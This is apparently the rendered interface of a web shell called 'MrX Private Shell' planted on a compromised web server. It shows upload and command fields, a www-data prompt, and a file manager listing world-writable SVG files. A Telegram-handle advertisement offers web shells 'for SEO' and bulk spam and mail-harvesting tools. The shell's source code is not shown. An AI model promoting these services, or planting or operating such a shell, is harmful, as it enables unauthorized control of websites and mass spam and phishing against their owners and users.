__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<svg viewBox="0 0 20 16" fill="none" xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMid meet">
<path d="M6.5 2C6.5 2 6.74829 4.31747 7.71541 5.28459C8.68253 6.25171 11 6.5 11 6.5C11 6.5 8.68253 6.74829 7.71541 7.71541C6.74829 8.68253 6.5 11 6.5 11C6.5 11 6.25171 8.68253 5.28459 7.71541C4.31747 6.74829 2 6.5 2 6.5C2 6.5 4.31747 6.25171 5.28459 5.28459C6.25171 4.31747 6.5 2 6.5 2Z" fill="#ffffff"/>
<path d="M13 10C13 10 13.1103 11.03 13.5402 11.4598C13.97 11.8897 15 12 15 12C15 12 13.97 12.1103 13.5402 12.5402C13.1103 12.97 13 14 13 14C13 14 12.8896 12.97 12.4598 12.5402C12.03 12.1103 11 12 11 12C11 12 12.03 11.8897 12.4598 11.4598C12.8896 11.03 13 10 13 10Z" fill="#ffffff"/>
<path d="M16 2C16 2 16.1103 3.02999 16.5402 3.45982C16.97 3.88965 18 4 18 4C18 4 16.97 4.11035 16.5402 4.54018C16.1103 4.97001 16 6 16 6C16 6 15.8896 4.97001 15.4598 4.54018C15.03 4.11035 14 4 14 4C14 4 15.03 3.88965 15.4598 3.45982C15.8896 3.02999 16 2 16 2Z" fill="#ffffff"/>
<path d="M6.5 2C6.5 2 6.74829 4.31747 7.71541 5.28459C8.68253 6.25171 11 6.5 11 6.5C11 6.5 8.68253 6.74829 7.71541 7.71541C6.74829 8.68253 6.5 11 6.5 11C6.5 11 6.25171 8.68253 5.28459 7.71541C4.31747 6.74829 2 6.5 2 6.5C2 6.5 4.31747 6.25171 5.28459 5.28459C6.25171 4.31747 6.5 2 6.5 2Z" stroke="#ffffff" stroke-linejoin="round"/>
<path d="M13 10C13 10 13.1103 11.03 13.5402 11.4598C13.97 11.8897 15 12 15 12C15 12 13.97 12.1103 13.5402 12.5402C13.1103 12.97 13 14 13 14C13 14 12.8896 12.97 12.4598 12.5402C12.03 12.1103 11 12 11 12C11 12 12.03 11.8897 12.4598 11.4598C12.8896 11.03 13 10 13 10Z" stroke="#ffffff" stroke-linejoin="round"/>
<path d="M16 2C16 2 16.1103 3.02999 16.5402 3.45982C16.97 3.88965 18 4 18 4C18 4 16.97 4.11035 16.5402 4.54018C16.1103 4.97001 16 6 16 6C16 6 15.8896 4.97001 15.4598 4.54018C15.03 4.11035 14 4 14 4C14 4 15.03 3.88965 15.4598 3.45982C15.8896 3.02999 16 2 16 2Z" stroke="#ffffff" stroke-linejoin="round"/>
</svg>

Filemanager

Name Type Size Permission Actions
sparkles-image.svg File 1.79 KB 0777
sparkles-text.svg File 1.89 KB 0777
sparkles-white.svg File 1.88 KB 0777
sparkles.svg File 1.57 KB 0777
Filemanager